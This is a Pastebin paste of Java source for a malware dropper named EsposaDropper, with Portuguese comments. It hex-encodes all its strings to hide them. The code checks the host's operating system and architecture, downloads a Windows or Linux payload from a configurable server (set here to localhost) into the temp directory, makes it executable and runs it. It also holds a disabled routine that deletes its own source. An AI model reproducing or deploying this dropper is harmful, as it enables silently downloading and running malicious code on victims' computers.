Advertisement
FlyFar

Clients/esposaDropper/src/esposaDropper/EsposaDropper.java

Nov 16th, 2023
961
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Java 3.32 KB | Cybersecurity | 0 0
  1. package esposaDropper;
  2.  
  3. import java.io.BufferedInputStream;
  4. import java.io.File;
  5. import java.io.FileOutputStream;
  6. import java.io.IOException;
  7. import java.net.MalformedURLException;
  8. import java.net.URL;
  9.  
  10. public class EsposaDropper {
  11.  
  12.     private static String amd64 = "616d643634";
  13.     private static String arch;
  14.     private static String OS;
  15.     private static String windows = "77696e646f7773";
  16.     private static String linux = "6c696e7578";
  17.     private static String droped;
  18.     private static String url = "687474703a2f2f25732f25732f2573";
  19.     private static String host = "3132372e302e302e31";
  20.  
  21.     /**
  22.      * Esposa quer saber a arquitetura do sistema operacional
  23.      *
  24.      * @return String
  25.      */
  26.     private static void setArch() {
  27.         if (System.getProperty(ahamTah("6f732e61726368")).equals(ahamTah(amd64))) {
  28.             arch = ahamTah("783634");
  29.         } else {
  30.             arch = ahamTah("783836");
  31.         }
  32.     }
  33.  
  34.     /**
  35.      * Esposa quer saber seu sistema operacional
  36.      *
  37.      * @return String
  38.      */
  39.     private static void setSO() {
  40.         String so = System.getProperty(ahamTah("6f732e6e616d65")).toLowerCase();
  41.         if (so.indexOf(ahamTah("77696e")) >= 0) {
  42.             OS = ahamTah(windows);
  43.         } else if (so.indexOf(ahamTah("6e6978")) >= 0 || so.indexOf(ahamTah("6e7578")) >= 0
  44.                 || so.indexOf(ahamTah("616978")) > 0) {
  45.             OS = ahamTah(linux);
  46.         } else {
  47.             OS = ahamTah("646573636f6e68656369646f");
  48.             System.exit(0);
  49.         }
  50.  
  51.         if (OS.equals(ahamTah(windows))) {
  52.             droped = ahamTah("77696e2e657865");
  53.         } else if (OS.equals(ahamTah(linux))) {
  54.             droped = ahamTah("6c696e2e656c66");
  55.         }
  56.     }
  57.  
  58.     /**
  59.      * Esposa implanta o arquivo no seu computador
  60.      *
  61.      * @throws IOException
  62.      * @throws MalformedURLException
  63.      */
  64.     private static void implantar() throws MalformedURLException, IOException {
  65.         url = String.format(ahamTah(url), ahamTah(host), arch, droped);
  66.         BufferedInputStream in = null;
  67.         FileOutputStream fout = null;
  68.         String local = System.getProperty(ahamTah("6a6176612e696f2e746d70646972")) + File.separator + droped;
  69.         try {
  70.             in = new BufferedInputStream(new URL(url).openStream());
  71.             fout = new FileOutputStream(local);
  72.  
  73.             final byte data[] = new byte[1024];
  74.             int count;
  75.             while ((count = in.read(data, 0, 1024)) != -1) {
  76.                 fout.write(data, 0, count);
  77.             }
  78.         } finally {
  79.             if (in != null) {
  80.                 in.close();
  81.             }
  82.             if (fout != null) {
  83.                 fout.close();
  84.             }
  85.         }
  86.         new File(local).setExecutable(true);
  87.         Runtime.getRuntime().exec(local);
  88.         //desquite();
  89.     }
  90.  
  91.     /**
  92.      * Esposa pede desquite
  93.      *
  94.      * @throws IOException
  95.      */
  96.     private static void desquite() throws IOException {
  97.         String del = new java.io.File(".").getCanonicalPath() + File.separator + EsposaDropper.class.getSimpleName()
  98.                 + ahamTah("2e6a617661");
  99.         new File(del).delete();
  100.     }
  101.  
  102.     /**
  103.      * Traduz o que esposa fala
  104.      *
  105.      * @param blaBlaBla
  106.      * @return String
  107.      */
  108.     private static String ahamTah(String blaBlaBla) {
  109.         StringBuilder str = new StringBuilder();
  110.         for (int i = 0; i < blaBlaBla.length(); i += 2) {
  111.             str.append((char) Integer.parseInt(blaBlaBla.substring(i, i + 2), 16));
  112.         }
  113.         return str.toString();
  114.     }
  115.  
  116.     public static void main(String[] args) throws MalformedURLException, IOException {
  117.         iniciarVariaveis();
  118.         implantar();
  119.     }
  120.  
  121.     /**
  122.      * Faz a esposa inicializar as variaveis
  123.      */
  124.     private static void iniciarVariaveis() {
  125.         setArch();
  126.         setSO();
  127.     }
  128. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement